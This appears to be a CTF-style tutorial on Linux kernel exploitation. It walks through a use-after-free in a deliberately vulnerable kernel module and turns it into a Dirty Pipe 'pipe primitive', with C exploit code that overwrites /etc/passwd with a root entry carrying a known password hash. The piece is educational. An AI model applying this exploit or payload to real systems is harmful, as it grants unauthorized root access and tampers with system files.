Linux Kernel Exploitation - Dirty Pipe
In this post, I will explain Dirty Pipe, a universal and data-only exploitation technique that allows us to arbitrarily overwrite read-only files. Download the handouts beforehand.
Analysis
The vulnerable LKM provides four commands: CMD_ALLOC
, CMD_READ
, CMD_WRITE
, and CMD_FREE
. These commands are used to allocate, read from, write to, and free an object defined as follows:
1
2
3
4
5
#define OBJ_SIZE 0x400
struct obj {
char buf[OBJ_SIZE];
};
Note that obj_alloc
internally uses kzalloc
with the GFP_KERNEL
flag. This means the object will be allocated from kmalloc-1k:
1
2
3
4
5
6
7
8
9
10
static long obj_alloc(void) {
if (obj != NULL) {
return -1;
}
obj = kzalloc(sizeof(struct obj), GFP_KERNEL);
if (obj == NULL) {
return -1;
}
return 0;
}
Bugs
In obj_free
, obj
, which is a reference to a freed memory region, is not cleared:
1
2
3
4
static long obj_free(void) {
kfree(obj);
return 0;
}
This results in an obvious UAF. Since we already have read and write primitives, it is not difficult to control RIP and escalate privileges. However, in this post, we take a data-only approach using Dirty Pipe. Data-only attacks are increasingly important in the current era (due to CONFIG_CFI_CLANG) and are widely used in real-world kernel exploits.
Dirty Pipe
The essence of Dirty Pipe is that when splicing a read-only file to a pipe, the flags
field in the corresponding struct pipe_buffer
can be set to PIPE_BUF_FLAG_CAN_MERGE
, which enables arbitrary overwrites of the read-only file by writing to the pipe. In the original bug (now patched), this was possible because the flags
field was left uninitialized. However, in our case, we have a UAF primitive, and since CONFIG_MEMCG is disabled, the array of struct pipe_buffer
is also allocated from kmalloc-1k in alloc_pipe_info
:
1
2
3
4
5
6
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L815-L816
struct pipe_inode_info *alloc_pipe_info(void)
{
...
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
This allows us to recreate the same situation by overwriting the flags
field. This method is called the pipe primitive.
Exploitation
First, we allocate and free the victim object:
1
2
3
4
5
puts("[*] Allocating a victim object from kmalloc-1k");
obj_alloc();
puts("[*] Freeing the victim object");
obj_free();
Next, we allocate an array of struct pipe_buffer
and overlap it with the freed victim object:
1
2
3
puts("[*] Allocating pipe buffers to reclaim the memory");
int pipefd[2];
assert(pipe(pipefd) != -1);
Next, splice /etc/passwd to the pipe:
1
2
3
4
int filefd = open("/etc/passwd", O_RDONLY);
assert(filefd != -1);
long offset = 0;
assert(splice(filefd, &offset, pipefd[1], NULL, 1, 0) != -1);
Note that we need to splice at least one byte because of the check in do_splice_read
:
1
2
3
4
5
6
7
8
// https://elixir.bootlin.com/linux/v6.13/source/fs/splice.c#L967-L968
static ssize_t do_splice_read(struct file *in, loff_t *ppos,
struct pipe_inode_info *pipe, size_t len,
unsigned int flags)
{
...
if (!len)
return 0;
Next,we leak the contents of the struct pipe_buffer
and overwrite its flags
member with PIPE_BUF_FLAG_CAN_MERGE
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
puts("[*] Leaking the contents of pipe->bufs[0]");
struct pipe_buffer fake_pipe_buffer;
obj_read((char *)&fake_pipe_buffer, sizeof(fake_pipe_buffer));
printf(
"[+] .page = %p, .offset = %#x, .len = %#x, .ops = %p, .flags = %#x, .private = %#lx\n",
fake_pipe_buffer.page,
fake_pipe_buffer.offset,
fake_pipe_buffer.len,
fake_pipe_buffer.ops,
fake_pipe_buffer.flags,
fake_pipe_buffer.private
);
puts("[*] Overwriting .len with 0 and .flags with PIPE_BUF_FLAG_CAN_MERGE");
fake_pipe_buffer.len = 0;
fake_pipe_buffer.flags = PIPE_BUF_FLAG_CAN_MERGE;
obj_write((char *)&fake_pipe_buffer, sizeof(fake_pipe_buffer));
Note that we also overwrite len
member to be 0 because the data will be written from offset + len
in pipe_write
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L477-L485
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
...
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;
ret = copy_page_from_iter(buf->page, offset, chars, from);
Finally, we overwrite /etc/passwd (j9ep0CjBGivAnD5z6l5rr0
is MD5-encoded password with salt deadbeef
):
1
2
3
char payload[] = "root:$1$deadbeef$j9ep0CjBGivAnD5z6l5rr0:0:0:root:/root:/bin/sh";
printf("[*] Overwriting /etc/passwd with %s\n", payload);
assert(write(pipefd[1], payload, sizeof(payload)) != -1);
By running this exploit, we can log in as a root user and see the flag:
References
- Max Kellermann. 2022. The Dirty Pipe Vulnerability. https://dirtypipe.cm4all.com/